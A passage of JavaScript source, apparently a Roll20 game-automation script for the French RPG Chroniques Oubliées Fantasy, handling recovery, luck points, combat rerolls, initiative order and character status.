d'une nuite complète pour récupérer"; sendChat("", message); return; } else { //dépense d'un PR evt.attributes.push(enleverPointDeRecuperation(charId)); pr--; } } var conMod = modCarac(perso, 'CONSTITUTION'); var niveau = charAttributeAsInt(charId, 'NIVEAU', 1); var rollExpr = addOrigin(characterName, "[[1d" + dVie + "]]"); sendChat("COF", rollExpr, function(res) { var rolls = res[0]; var dVieRoll = rolls.inlinerolls[0].results.total; var bonus = conMod + niveau; var total = dVieRoll + bonus; if (total < 0) total = 0; tokEvt.prev.bar1_value = bar1; evt.affectes.push(tokEvt); if (bar1 === 0) { if (attributeAsBool(perso, 'etatExsangue')) { removeTokenAttr(perso, 'etatExsangue', evt, "retrouve des couleurs"); } } bar1 += total; if (bar1 > pvmax) bar1 = pvmax; updateCurrentBar(token, 1, bar1); if (option == "nuit") { message = "Au cours de la nuit, "; } else { message = "Après une dizaine de minutes de repos, "; } message += characterName + " récupère " + buildinline(rolls.inlinerolls[0]) + "+" + bonus + " PV. Il lui reste " + pr + " points de récupération"; sendChat("", "/direct " + message); }); }); addEvent(evt); } function iterSelected(selected, iter, callback) { selected.forEach(function(sel) { var token = getObj('graphic', sel._id); if (token === undefined) { if (callback !== undefined) callback(); return; } var charId = token.get('represents'); if (charId === undefined || charId === "") { if (callback !== undefined) callback(); return; } iter({ token: token, charId: charId }); }); } function recharger(msg) { if (!_.has(msg, "selected")) { sendPlayer(msg, "!cof-recharger sans sélection de tokens"); log("!cof-recharger requiert des tokens sélectionnés"); return; } var cmd = msg.content.split(" "); if (cmd.length < 2) { error("La fonction !cof-recharger attend au moins un argument", msg); return; } var attackLabel = cmd[1]; var evt = { type: 'recharger', attributes: [] }; iterSelected(msg.selected, function(perso) { var name = perso.token.get('name'); var attrs = findObjs({ _type: 'attribute', _characterid: perso.charId, name: "charge_" + attackLabel }); if (attrs.length < 1) { log("Personnage " + name + " sans charge " + attackLabel); return; } attrs = attrs[0]; var att = getAttack(attackLabel, name, perso.charId); if (att === undefined) { // error("Arme "+attackLabel+" n'existe pas pour "+name, charId); return; } var weaponName = att.weaponName; var maxCharge = parseInt(attrs.get('max')); if (isNaN(maxCharge)) { error("max charge mal formée", attrs); return; } var currentCharge = parseInt(attrs.get('current')); if (isNaN(currentCharge)) { error("charge mal formée", attrs); return; } if (currentCharge < maxCharge) { evt.attributes.push({ attribute: attrs, current: currentCharge }); attrs.set('current', currentCharge + 1); updateNextInit(perso.token); sendChar(perso.charId, "recharge " + weaponName); return; } sendChar(perso.charId, "a déjà tous ses " + weaponName + " chargés"); }); addEvent(evt); } function peutController(msg, perso) { if (playerIsGM(msg.playerid)) return true; if (msg.selected && msg.selected.length > 0) { if (perso.token.id == msg.selected[0]._id) return true; var selectedPerso = tokenOfId(msg.selected[0]._id); if (selectedPerso !== undefined && selectedPerso.charId == perso.charId) return true; } var character = getObj('character', perso.charId); if (character === undefined) return false; var cb = character.get('controlledby'); var res = cb.split(',').find(function(pid) { if (pid == 'all') return true; return (pid == msg.playerid); }); return (res !== undefined); } function boutonChance(msg) { var args = msg.content.split(' '); if (args.length < 2) { error("La fonction !cof-bouton-chance n'a pas assez d'arguments", args); return; } var evt = findEvent(args[1]); if (evt === undefined) { error("L'action est trop ancienne ou éte annulée", args); return; } var perso = evt.personnage; if (perso === undefined) { error("Erreur interne du bouton de chance : l'évenement n'a pas de personnage", evt); return; } if (!peutController(msg, perso)) { sendPlayer(msg, "pas le droit d'utiliser ce bouton"); return; } var chance = attributeAsInt(perso, 'PC', 0); if (chance <= 0) { sendChar(perso.charId, " n'a plus de point de chance à dépenser..."); return; } var evtChance = { type: 'chance' }; chance--; var action = evt.action; if (action) { //alors on peut faire le undo undoEvent(evt); setTokenAttr(perso, 'PC', chance, evtChance, " a dépensé un point de chance. Il lui en reste " + chance); addEvent(evtChance); switch (evt.type) { case 'Attaque': chanceCombat(perso, action); return; case 'jetPerso': var options = action.options || {}; options.chance = (options.chance === undefined) ? 1 : options.chance + 1; jetPerso(perso, action.caracteristique, action.difficulte, action.titre, action.playerId, options); return; default: error("Evenement avec une action, mais inconnue au niveau chance. Impossible d'annuler !", evt); return; } } error("Type d'évènement pas encore géré pour la chance", evt); addEvent(evtChance); } function chance(msg) { if (!_.has(msg, "selected")) { sendPlayer(msg, "!cof-chance sans sélection de token"); log("!cof-chance requiert de sélectionner un token"); return; } else if (msg.selected.length != 1) { sendPlayer(msg, "!cof-chance ne doit selectionner qu'un token"); log("!cof-chance requiert de sélectionner exactement un token"); return; } var cmd = msg.content.split(' '); if (cmd.length < 2) { error("La fonction !cof-chance attend au moins un argument (combat ou autre)", msg); return; } var tokenId = msg.selected[0]._id; var perso = tokenOfId(tokenId); if (perso === undefined) { error(" !cof-chance ne fonctionne qu'avec des tokens qui représentent des personnages", perso); return; } var name = perso.token.get('name'); var action; if (cmd[1] == 'combat') { //further checks var lastAct = lastEvent(); if (lastAct !== undefined) { if (lastAct.type != 'Attaque' || lastAct.succes !== false) { action = lastAct.action; } } if (action === undefined || lastAct.action.attaquant.token.id != tokenId) { error("Pas de dernière action de combat ratée trouvée pour " + name, lastAct); return; } } var chance = attributeAsInt(perso, 'PC', 0); if (chance <= 0) { sendChat("", name + " n'a plus de point de chance à dépenser..."); return; } var evt = { type: 'chance' }; chance--; switch (cmd[1]) { case 'autre': setTokenAttr(perso, 'PC', chance, evt, " a dépensé un point de chance. Il lui en reste " + chance); addEvent(evt); return; case 'combat': undoEvent(); setTokenAttr(perso, 'PC', chance, evt, " a dépensé un point de chance. Il lui en reste " + chance); addEvent(evt); chanceCombat(perso, action); return; default: error("argument de chance inconnu", cmd); addEvent(evt); return; } } function chanceCombat(perso, action) { // assumes that the original action was undone, re-attack with bonus var options = action.options; options.chance = (options.chance + 10) || 10; options.rollsAttack = action.rollsAttack; if (action.cibles) { action.cibles.forEach(function(target) { target.partialSaveAuto = undefined; }); } attack(action.player_id, perso, action, action.attack_label, options); } function persoUtiliseRuneEnergie(perso, evt) { var attr = tokenAttribute(perso, 'runeDEnergie'); if (attr.length === 0) { sendChar(perso.charId, "n'a pas de rune d'énergie"); return false; } attr = attr[0]; var dispo = attr.get('current'); if (dispo) { sendChar(perso.charId, "utilise sa rune d'énergie pour relancer un d20 sur un test d'attaque, de FOR, DEX ou CON"); evt.attributes.push({ attribute: attr, current: dispo }); attr.set('current', 0); return true; } sendChar(perso.charId, "a déjà utilisé sa rune d'énergie durant ce combat"); return false; } function runeEnergie(msg) { if (!state.COFantasy.combat) { sendPlayer(msg, "On ne peut utiliser les runes d'énergie qu'en combat"); return; } var cmd = msg.content.split(' '); var evtARefaire; var evt = { type: "Rune d'énergie", attributes: [] }; if (cmd.length > 1) { //On relance pour un événement particulier evtARefaire = findEvent(cmd[1]); if (evtARefaire === undefined) { error("L'action est trop ancienne ou a été annulée", cmd); return; } var perso = evtARefaire.personnage; if (perso === undefined) { error("Erreur interne du bouton de rune d'énergie : l'évenement n'a pas de personnage", evtARefaire); return; } if (!peutController(msg, perso)) { sendPlayer(msg, "pas le droit d'utiliser ce bouton"); return; } var action = evtARefaire.action; if (action === undefined) { error("Impossible de relancer l'action", evtARefaire); return; } var carac = action.caracteristque; if (carac == 'SAG' || carac == 'INT' || carac == 'CHA') { sendChar(perso, "ne peut pas utiliser la rune d'énergie pour un test de " + carac); return; } var options = action.options || {}; if (!persoUtiliseRuneEnergie(perso, evt)) return; addEvent(evt); switch (evtARefaire.type) { case 'Attaque': undoEvent(evtARefaire); if (action.cibles) { action.cibles.forEach(function(target) { target.partialSaveAuto = undefined; }); } attack(action.player_id, perso, action, action.attack_label, options); return; case 'jetPerso': undoEvent(evtARefaire); options.roll = undefined; //On va le relancer jetPerso(perso, action.caracteristique, action.difficulte, action.titre, action.playerId, options); return; default: return; } } else { //Juste pour vérifier l'attribut et le diminuer getSelected(msg, function(selection) { if (selection.length === 0) { sendPlayer(msg, 'Pas de token sélectionné pour !cof-rune-d-energie'); return; } iterSelected(selection, function(perso) { persoUtiliseRuneEnergie(perso, evt); }); //fin iterSelected addEvent(evt); }); //fin getSelected } } //Devrait être appelé seulement depuis un bouton //!cof-esquive-fatale evtid target_id function esquiveFatale(msg) { var cmd = msg.content.split(' '); var evtARefaire; var evt = { type: "Esquive fatale", attributes: [] }; if (cmd.length < 3) { error("Il manque des arguments à !cof-esquive-fatale", cmd); return; } evtARefaire = findEvent(cmd[1]); if (evtARefaire === undefined) { error("L'attaque est trop ancienne ou a été annulée", cmd); return; } var action = evtARefaire.action; if (action === undefined) { error("Impossible d'esquiver l'attaque", evtARefaire); return; } var perso = action.cibles[0]; if (perso === undefined) { error("Erreur interne du bouton de 'esquive fatale : l'évenement n'a pas de personnage", evtARefaire); return; } var adversaire = tokenOfId(cmd[2]); if (adversaire === undefined) { sendPlayer(msg, "Il faut cibler un token valide"); return; } var attaquant = action.attaquant; if (attaquant.token.id == adversaire.token.id) { sendPlayer(msg, "Il faut cibler un autre adversaire que l'attaquant"); return; } if (distanceCombat(perso.token, adversaire.token) > 0) { sendChar(perso.charId, "doit choisir un adversaire au contact pour l'esquive fatale"); return; } var ennemisAuContact = perso.ennemisAuContact; if (ennemisAuContact === undefined) { error("Ennemis au contact non définis", perso); } else { var i = ennemisAuContact.find(function(tok) { return (tok.id == adversaire.token.id); }); if (i === undefined) { sendPlayer(msg, "Il faut cibler un adversaire au contact pour l'esquive fatale"); return; } } if (!peutController(msg, perso)) { sendPlayer(msg, "pas le droit d'utiliser ce bouton"); return; } var options = action.options || {}; var attr = tokenAttribute(perso, 'esquiveFatale'); if (attr.length === 0) { sendChar(perso.charId, "ne sait pas faire d'esquive fatale"); return; } attr = attr[0]; var dispo = parseInt(attr.get('current')); if (isNaN(dispo) || dispo < 1) { sendChar(perso.charId, "a déjà fait une esquive fatale durant ce combat"); return; } adversaire.tokName = adversaire.token.get('name'); sendChar(perso.charId, "s'arrange pour que l'attaque touche " + adversaire.tokName); evt.attributes.push({ attribute: attr, current: dispo }); attr.set('current', 0); addEvent(evt); undoEvent(evtARefaire); adversaire.esquiveFatale = true; action.cibles[0] = adversaire; attack(action.player_id, attaquant, action, action.attack_label, options); } function intercepter(msg) { getSelected(msg, function(selected) { iterSelected(selected, function(cible) { var charId = cible.charId; var character = getObj('character', charId); if (character === undefined) { error("L'argument de !cof-intercepter n'est pas une id de token valide (personnage non défini)", msg.content); return; } cible.tokName = cible.token.get('name'); cible.name = character.get('name'); if (attributeAsBool(cible, 'intercepter')) { sendChar(charId, " a déjà intercepté une attaque ce tour"); return; } var voieMeneur = charAttributeAsInt(charId, "voieDuMeneurDHomme", 0); if (voieMeneur < 2) { error(cible.tokName + " n'a pas un rang suffisant dans la voie du meneur d'homme pour intercepter l'attaque", voieMeneur); return; } var attaque; var lastAct = lastEvent(); if (lastAct !== undefined) { attaque = lastAct.action; } if (attaque === undefined) { sendChar(charId, "la dernière action trouvée n'est pas une attaque, impossible d'intercepter"); return; } if (attaque.cibles.length === 0) { sendChar(charId, "la dernière attaque n'a touché aucune cible, impossible d'intercepter"); return; } if (attaque.cibles.length > 1) { sendChar(charId, "la dernière attaque a touché plus d'une cible, impossible d'intercepter"); return; } var targetName = attaque.cibles[0].tokName; if (targetName === undefined) { error("Le token de la dernière attaque est indéfini", attaque); return; } if (distanceCombat(cible.token, attaque.cibles[0].token) > 0) { sendChar(charId, " est trop loin de " + targetName + " pour intercepter l'attaque"); return; } var evt = { type: 'interception' }; setTokenAttr(cible, 'intercepter', true, evt, "se met devant " + targetName + " pour intercepter l'attaque !"); // On annule l'ancienne action undoEvent(); // Puis on refait en changeant la cible var options = attaque.options; options.intercepter = voieMeneur; options.rollsAttack = attaque.rollsAttack; options.rollsDmg = attaque.rollsDmg; options.evt = evt; cible.rollsDamg = attaque.cibles[0].rollsDmg; attack(attaque.player_id, attaque.attaquant, { cibles: [cible] }, attaque.attack_label, options); }); }); } function exemplaire(msg) { getSelected(msg, function(selected) { iterSelected(selected, function(cible) { var charId = cible.charId; if (attributeAsBool(cible, 'exemplaire')) { sendChar(charId, " a déjà montré l'exemple à ce tour"); return; } var attaque; var lastAct = lastEvent(); if (lastAct !== undefined) { if (lastAct.type == 'Attaque' && lastAct.succes === false) { attaque = lastAct.action; } } if (attaque === undefined) { sendChar(charId, "la dernière action trouvée n'est pas une attaque ratée, impossible de montrer l'exemple"); return; } var attackerName = attaque.attaquant.token.get('name'); if (attackerName === undefined) { error("Le token de la dernière attaque est indéfini", attaque); return; } var evt = { type: "Montrer l'exemple" }; setTokenAttr(cible, 'exemplaire', true, evt, "montre l'exemple à " + attackerName); // On annule l'ancienne action undoEvent(); // Puis on refait var options = attaque.options; options.evt = evt; attack(attaque.player_id, attaque.attaquant, attaque, attaque.attack_label, options); }); }); } function surprise(msg) { getSelected(msg, function(selected) { if (selected.length === 0) { sendPlayer(msg, "!cof-surprise sans sélection de token"); log("!cof-surprise requiert de sélectionner des tokens"); return; } var cmd = msg.content.split(" "); var testSurprise; if (cmd.length > 1) { testSurprise = parseInt(cmd[1]); if (isNaN(testSurprise)) testSurprise = undefined; } var display; if (testSurprise === undefined) { display = startFramedDisplay(msg.playerid, "<b>Surprise !</b>"); } else { display = startFramedDisplay(msg.playerid, "Test de surprise difficulté " + testSurprise); } var evt = { type: 'surprise', affectes: [] }; var tokensToProcess = selected.length; var sendEvent = function() { if (tokensToProcess == 1) { addEvent(evt); sendChat("", endFramedDisplay(display)); } tokensToProcess--; }; iterSelected(selected, function(perso) { if (!isActive(perso)) { sendEvent(); return; } var name = perso.token.get('name'); if (testSurprise !== undefined) { var bonusSurprise = 0; if (surveillance(perso)) bonusSurprise += 5; testCaracteristique(perso, 'SAG', testSurprise, { bonus: bonusSurprise, bonusAttrs: ['vigilance', 'perception'] }, evt, function(tr) { var result; if (tr.reussite) result = "réussi"; else { result = "raté, " + name + " est surpris"; result += eForFemale(perso.charId); setState(perso, 'surpris', true, evt); } var message = name + " fait " + tr.texte + " : " + result; addLineToFramedDisplay(display, message); sendEvent(); }); } else { //no test setState(perso, 'surpris', true, evt); addLineToFramedDisplay(display, name + " est surpris." + eForFemale(perso.charId)); sendEvent(); } }, sendEvent); }); } function isActive(perso) { var inactif = getState(perso, 'mort') || getState(perso, 'surpris') || getState(perso, 'assome') || getState(perso, 'etourdi') || getState(perso, 'paralyse') || getState(perso, 'endormi') || getState(perso, 'apeure'); return !inactif; } function interchangeable(attackingToken, target, pageId) { //détermine si il y a assez de tokens var token = target.token; var charId = target.charId; var res = { result: false, targets: [] }; if (!isActive(target)) return res; var meuteAttr = findObjs({ _type: 'attribute', _characterid: charId, name: 'interchangeable' }); if (meuteAttr.length < 1) return res; meuteAttr = parseInt(meuteAttr[0].get('current')); if (isNaN(meuteAttr) || meuteAttr <= 0) return res; var tokens = findObjs({ _type: 'graphic', _subtype: 'token', represents: charId, _pageid: pageId }); tokens = tokens.filter(function(tok) { return isActive({ token: tok }); }); res.result = (tokens.length > meuteAttr); // Now select the tokens which could be valid targets var p = distanceCombat(attackingToken, token); if (p === 0) { //cible au contact, on garde toutes celles au contact res.targets = tokens.filter(function(tok) { var d = distanceCombat(attackingToken, tok); return (d === 0); }); } else { // cible à distance, on garde celles au contact de la cible res.targets = tokens.filter(function(tok) { var d = distanceCombat(token, tok); return (d === 0); }); } return res; } function setActiveToken(tokenId, evt) { evt.affectes = evt.affectes || []; var pageId = Campaign().get('initiativepage'); if (state.COFantasy.activeTokenId) { if (tokenId == state.COFantasy.activeTokenId) return; var prevToken = getObj('graphic', state.COFantasy.activeTokenId); if (prevToken) { evt.affectes.push({ affecte: prevToken, prev: { statusmarkers: prevToken.get('statusmarkers') } }); prevToken.set('status_flying-flag', false); } else { if (pageId) { prevToken = findObjs({ _type: 'graphic', _subtype: 'token', layer: 'objects', _pageid: pageId, name: state.COFantasy.activeTokenName }); } else { prevToken = findObjs({ _type: 'graphic', _subtype: 'token', layer: 'objects', name: state.COFantasy.activeTokenName }); } prevToken.forEach(function(o) { evt.affectes.push({ affecte: o, prev: { statusmarkers: o.get('statusmarkers') } }); o.set('status_flying-flag', false); }); } } if (tokenId) { var act = tokenOfId(tokenId, tokenId); if (act) { var token = act.token; var charId = act.charId; evt.affectes.push({ affecte: token, prev: { statusmarkers: token.get('statusmarkers') } }); token.set('status_flying-flag', true); var tokenName = token.get('name'); state.COFantasy.activeTokenId = tokenId; state.COFantasy.activeTokenName = tokenName; //On recherche dans le Personnage s'il a une "Ability" dont le nom est "#TurnAction#". var TurnAction = findObjs({ _type: 'ability', _characterid: charId, name: '#TurnAction#' }); //Si elle existe, on lui chuchotte son exécution if (TurnAction.length > 0) { // on récupère la valeur de l'action dont chaque Macro #/Ability % est mis dans un tableau 'action' var action = TurnAction[0].get('action').replace(/\n/gm, '').replace(/\r/gm, '').replace(/%/g, '\n').replace(/#/g, '\n').split("\n"); var nBfound = 0; var macro = ''; if (action.length > 0) { macro = '/w "' + tokenName + '" ' + '&{template:co1} {{perso=' + tokenName + '}} {{desc='; // Toutes les Macros var macros = findObjs({ _type: 'macro' }); // Toutes les Abilities du personnage lié au Token var abilities = findObjs({ _type: 'ability', _characterid: charId, }); var found; // On recherche si l'action existe (Ability % ou Macro #) action.forEach(function(e, i) { e = e.trim(); if (e.length > 0) { found = false; // on recherche en premier dans toutes les Abilities du personnage abilities.forEach(function(elem, index) { if (elem.get('name') === e) { // l'ability existe found = true; nBfound++; macro += ' [' + i + '. ' + e.replace(/-/g, ' ').replace(/_/g, ' ') + '](!&#13;&#37;{' + tokenName + '|' + e + '})'; return; } }); if (found === false) { // Si pas trouvé, on recherche alors dans toutes les Macros, en toute simplicité j'ai envie de dire xD macros.forEach(function(elem, index) { if (elem.get('name') === e) { // la Macro existe found = true; nBfound++; macro += ' [' + i + '. ' + e.replace(/-/g, ' ').replace(/_/g, ' ') + '](!&#13;#' + e + ')'; return; } }); } // Si on a toujours rien trouvé, on ajoute un petit log if (found === false) { log('Ability et Macro non trouvé : ' + e); } } }); macro += '}}'; } if (nBfound > 0) { // on envoie la commande au personnage sendChat('', '/w "' + tokenName + '" ' + macro); sendChat('', '/w gm ' + macro); } } // Gestion de la confusion if (attributeAsBool(act, "confusion")) { //Une chance sur deux de ne pas agir if (randomInteger(2) < 2) { sendChar(charId, "est en pleine confusion. Il ne fait rien ce tour"); token.set('status_flying-flag', false); } else { //Trouver la créature la plus proche var closestToken; pageId = token.get('pageid'); var toksOnPage = findObjs({ _type: 'graphic', _subtype: 'token', _pageid: pageId, layer: 'objects' }); toksOnPage.forEach(function(tok) { if (tok.id == tokenId) return; var perso = { token: tok }; perso.charId = tok.get('represents'); if (perso.charId === '') return; if (getState(perso, 'mort')) return; var dist = distanceCombat(token, tok, pageId); if (closestToken) { if (dist > closestToken.distance) return; if (dist < closestToken.distance) { closestToken = { distance: dist, names: [tok.get('name')] }; return; } closestToken.names.push(tok.get('name')); return; } closestToken = { distance: dist, names: [tok.get('name')] }; }); if (closestToken) { var r = randomInteger(closestToken.names.length) - 1; sendChar(charId, "est en pleine confusion. " + onGenre(charId, 'Il', 'Elle') + " attaque " + closestToken.names[r] + "."); } else { sendChar(charId, "est seul et en plein confusion"); } } } //On enlève aussi les états qui ne durent qu'un tour var defenseTotale = tokenAttribute(act, 'defenseTotale'); if (defenseTotale.length > 0) { defenseTotale = defenseTotale[0]; var tourDefTotale = defenseTotale.get('max'); if (tourDefTotale < state.COFantasy.tour) { evt.deletedAttributes = evt.deletedAttributes || []; evt.deletedAttributes.push(defenseTotale); defenseTotale.remove(); } } } else { error("Impossible de trouver le token dont c'est le tour", tokenId); state.COFantasy.activeTokenId = undefined; } } else state.COFantasy.activeTokenId = undefined; } function getTurnOrder(evt) { var turnOrder = Campaign().get('turnorder'); evt.turnorder = evt.turnorder || turnOrder; if (turnOrder === "") { turnOrder = [{ id: "-1", pr: 1, custom: "Tour", formula: "+1" }]; evt.tour = state.COFantasy.tour; state.COFantasy.tour = 1; } else { turnOrder = JSON.parse(turnOrder); } var indexTour = turnOrder.findIndex(function(elt) { return (elt.id == "-1" && elt.custom == "Tour"); }); if (indexTour == -1) { indexTour = turnOrder.length; turnOrder.push({ id: "-1", pr: 1, custom: "Tour", formula: "+1" }); evt.tour = state.COFantasy.tour; state.COFantasy.tour = 1; } var res = { tour: turnOrder[indexTour], pasAgi: turnOrder.slice(0, indexTour), dejaAgi: turnOrder.slice(indexTour + 1, turnOrder.length) }; return res; } function initiative(selected, evt) { //set initiative for selected tokens // Always called when entering combat mode // set the initiative counter, if not yet set // Assumption: all tokens that have not acted yet are those before the turn // counter. // When initiative for token not present, assumes it has not acted // When present, stays in same group, but update position according to // current initiative. // Tokens appearing before the turn are sorted if (!Campaign().get('initiativepage')) evt.initiativepage = false; if (!state.COFantasy.combat) { //actions de début de combat evt.combat = false; evt.combat_pageid = state.COFantasy.combat_pageid; state.COFantasy.combat = true; Campaign().set({ turnorder: JSON.stringify([{ id: "-1", pr: 1, custom: "Tour", formula: "+1" }]), initiativepage: true }); evt.tour = state.COFantasy.tour; state.COFantasy.tour = 1; evt.init = state.COFantasy.init; state.COFantasy.init = 1000; removeAllAttributes('transeDeGuérison', evt); } if (!Campaign().get('initiativepage')) { Campaign().set('initiativepage', true); } var to = getTurnOrder(evt); if (to.pasAgi.length === 0) { // Fin de tour, on met le tour à la fin et on retrie to.pasAgi = to.dejaAgi; to.dejaAgi = []; } iterSelected(selected, function(perso) { state.COFantasy.combat_pageid = perso.token.get('pageid'); if (!isActive(perso)) return; var init = tokenInit(perso, evt); // On place le token à sa place dans la liste du tour var dejaIndex = to.dejaAgi.findIndex(function(elt) { return (elt.id == perso.token.id); }); if (dejaIndex == -1) { to.pasAgi = to.pasAgi.filter(function(elt) { return (elt.id != perso.token.id); }); to.pasAgi.push({ id: perso.token.id, pr: init, custom: '' }); } else { to.dejaAgi[dejaIndex].pr = init; } }); setTurnOrder(to, evt); } function setTurnOrder(to, evt) { if (to.pasAgi.length > 0) { to.pasAgi.sort(function(a, b) { if (a.id == "-1") return 1; if (b.id == "-1") return -1; if (a.pr < b.pr) return 1; if (b.pr < a.pr) return -1; // Priorité aux joueurs // Premier critère : la barre de PV des joueurs ets liée var tokenA = getObj('graphic', a.id); if (tokenA === undefined) return 1; var tokenB = getObj('graphic', b.id); if (tokenB === undefined) return -1; if (tokenA.get('bar1_link') === '') { if (tokenB.get('bar1_link') === '') return 0; return 1; } if (tokenB.get('bar1_link') === '') return -1; // Deuxième critère : les joueurs ont un DV var charIdA = tokenA.get('represents'); if (charIdA === '') return 1; var charIdB = tokenB.get('represents'); if (charIdB === '') return -1; var dvA = charAttributeAsInt(charIdA, "DV", 0); var dvB = charAttributeAsInt(charIdB, "DV", 0); if (dvA === 0) { if (dvB === 0) return 0; return 1; } if (dvB === 0) return -1; //Entre joueurs, priorité à la plus grosse sagesse var sagA = charAttributeAsInt(charIdA, 'SAGESSE', 10); var sagB = charAttributeAsInt(charIdB, 'SAGESSE', 10); if (sagA < sagB) return 1; if (sagB > sagA) return -1; return 0; }); setActiveToken(to.pasAgi[0].id, evt); } to.pasAgi.push(to.tour); var turnOrder = to.pasAgi.concat(to.dejaAgi); Campaign().set('turnorder', JSON.stringify(turnOrder)); } function attendreInit(msg) { if (!_.has(msg, 'selected')) { error("La fonction !cof-attendre : rien à faire, pas de token selectionné", msg); return; } var cmd = msg.content.split(' '); if (cmd.length < 2) { error("Attendre jusqu'à quelle initiative ?", cmd); return; } var newInit = parseInt(cmd[1]); if (isNaN(newInit) || newInit < 1) { error("On ne peut attendre que jusqu'à une initiative de 1", cmd); newInit = 1; } var evt = { type: "attente" }; var to = getTurnOrder(evt); iterSelected(msg.selected, function(perso) { var charId = perso.charId; var token = perso.token; if (!isActive(perso)) return; var tokenPos = to.pasAgi.findIndex(function(elt) { return (elt.id == token.id); }); if (tokenPos == -1) { // token ne peut plus agir sendChar(charId, " a déjà agit ce tour"); return; } if (newInit < to.pasAgi[tokenPos].pr) { to.pasAgi[tokenPos].pr = newInit; sendChar(charId, " attend un peu avant d'agir..."); updateNextInit(token); } else { sendChar(charId, " a déjà une initiative inférieure à " + newInit); } }); setTurnOrder(to, evt); addEvent(evt); } function containsEffectStartingWith(allAttrs, effet) { return (allAttrs.findIndex(function(attr) { return (attr.get('name').startsWith(effet + '_')); }) >= 0); } function statut(msg) { // show some character informations if (!_.has(msg, 'selected')) { error("Dans !cof-status : rien à faire, pas de token selectionné", msg); return; } var playerId = msg.playerid; iterSelected(msg.selected, function(perso) { var token = perso.token; var charId = perso.charId; var name = token.get('name'); var display = startFramedDisplay(playerId, "État de " + name, perso, undefined, true); var line = "Points de vie : " + token.get('bar1_value') + " / " + getAttrByName(charId, 'PV', 'max'); addLineToFramedDisplay(display, line); var manaAttr = findObjs({ _type: 'attribute', _characterid: charId, name: 'PM' }); var hasMana = false; if (manaAttr.length > 0) { var manaMax = parseInt(manaAttr[0].get('max')); hasMana = !isNaN(manaMax) && manaMax > 0; } var dmTemp = parseInt(token.get('bar2_value')); if (hasMana) { var mana = dmTemp; if (token.get('bar1_link') !== "") mana = manaAttr[0].get('current'); line = "Points de mana : " + mana + " / " + manaAttr[0].get('max'); addLineToFramedDisplay(display, line); dmTemp = attributeAsInt(perso, 'DMTEMP', 0); } else if (token.get('bar1_link') !== "") { dmTemp = charAttributeAsInt(charId, 'DMTEMP', 0); } if (!isNaN(dmTemp) && dmTemp > 0) { line = "Dommages temporaires : " + dmTemp; addLineToFramedDisplay(display, line); } var aDV = charAttributeAsInt(charId, 'DV', 0); if (aDV > 0) { // correspond aux PJs line = "Points de récupération : " + pointsDeRecuperation(charId) + " / 5"; addLineToFramedDisplay(display, line); line = "Points de chance : " + attributeAsInt(perso, 'PC', 0) + " / " + (3 + modCarac(perso, 'CHARISME')); addLineToFramedDisplay(display, line); var pacifisme = findObjs({ _type: "attribute", _characterid: charId, name: "pacifisme" }); if (pacifisme.length > 0) { pacifisme = parseInt(pacifisme[0].get('current')); if (!isNaN(pacifisme)) { if (pacifisme > 0) addLineToFramedDisplay(display, "Pacifisme actif"); else addLineToFramedDisplay(display, "Pacifisme non actif"); } } } var attrsChar = findObjs({ _type: 'attribute', _characterid: charId }); var attrsArmes = attrsChar.filter(function(attr) { var attrName = attr.get('name'); return (attrName.startsWith("repeating_armes_") && attrName.endsWith("_armenom")); }); attrsArmes.forEach(function(attr) { var nomArme = attr.get('current'); var armeLabel = nomArme.split(' ', 1)[0]; nomArme = nomArme.substring(nomArme.indexOf(' ') + 1); var charge = attrsChar.find(function(a) { return (a.get('name') == 'charge_' + armeLabel); }); if (charge) { charge = parseInt(charge.get('current')); if (!isNaN(charge)) { if (charge === 0) { line = nomArme + " n'est pas chargé"; } else if (charge == 1) { line = nomArme + " est chargé"; } else if (charge > 1) { line = nomArme + " contient encore " + charge + " charges"; } var enMain = findObjs({ _type: "attribute", _characterid: charId, name: "initEnMain" + armeLabel }); if (enMain.length > 0) { enMain = parseInt(enMain[0].get('current')); if (!isNaN(enMain)) { if (enMain === 0) line += ", pas en main"; else if (enMain > 0) line += " et en main"; } } addLineToFramedDisplay(display, line); } } if (attributeAsBool(perso, 'poisonRapide_' + armeLabel)) { addLineToFramedDisplay(display, nomArme + " est enduit de poison."); } }); if (attributeAsInt(perso, 'enflamme', 0)) addLineToFramedDisplay(display, "en flammes"); var bufDef = attributeAsInt(perso, 'bufDEF', 0); if (bufDef > 0) addLineToFramedDisplay(display, "Défense temporairement modifiée de " + bufDef); for (var etat in cof_states) { if (getState(perso, etat)) addLineToFramedDisplay(display, etat + eForFemale(charId)); } if (charAttributeAsInt(charId, 'DEFARMUREON', 1) === 0) { addLineToFramedDisplay(display, "Ne porte pas son armure"); if (charAttributeAsInt(charId, 'vetementsSacres', 0) > 0) addLineToFramedDisplay(display, " mais bénéficie de ses vêtements sacrés"); if (charAttributeAsInt(charId, 'armureDeVent', 0) > 0) addLineToFramedDisplay(display, " mais bénéficie de son armure de vent"); } if (charAttributeAsInt(charId, 'DEFBOUCLIERON', 1) === 0) addLineToFramedDisplay(display, "Ne porte pas son bouclier"); var allAttrs = findObjs({ _type: 'attribute', _characterid: charId }); if (attributeAsBool(perso, 'etatExsangue')) { addLineToFramedDisplay(display, "est exsangue"); } for (var effet in messageEffetTemp) { var effetActif = false; if (effet == 'forgeron' || effet == 'dmgArme1d6') { effetActif = containsEffectStartingWith(allAttrs, effet); } else effetActif = attributeAsBool(perso, effet); if (effetActif) addLineToFramedDisplay(display, messageEffetTemp[effet].actif); } for (var effetC in messageEffetCombat) { if (attributeAsBool(perso, effetC)) addLineToFramedDisplay(display, messageEffetCombat[effetC].actif); } for (var effetI in messageEffetIndetermine) { if (attributeAsBool(perso, effetI)) addLineToFramedDisplay(display, messageEffetIndetermine[effetI].actif); } allAttributesNamed(attrsChar, 'munition').forEach(function(attr) { var attrName = attr.get('name'); var underscore = attrName.indexOf('_'); if (underscore < 0 || underscore == attrName.length - 1) return; var munitionNom = attrName.substring(underscore + 1).replace(/_/g, ' '); addLineToFramedDisplay(display, munitionNom + " : " + attr.get('current') + " / " + attr.get('max')); }); var attrPosture = tokenAttribute(perso, 'postureDeCombat'); if (attrPosture.length > 0) { attrPosture = attrPosture[0]; var posture = attrPosture.get('max'); var postureMsg = "a une posture "; switch (posture.substr(-1, 3)) { case 'DEF': msg += "défensive"; break; case 'ATT': msg += "offensive"; break; case '_DM': msg += "puissante"; break; default: } msg += " mais "; switch (posture.substr(0, 3)) { case 'DEF': msg += "risquée"; break; case 'ATT': msg += "moins précise"; break; case 'DM_': msg += "moins puissante"; break; default: } addLineToFramedDisplay(display, posture); } sendChat("", endFramedDisplay(display)); }); } function removeFromTurnTracker(tokenId, evt) { var turnOrder = 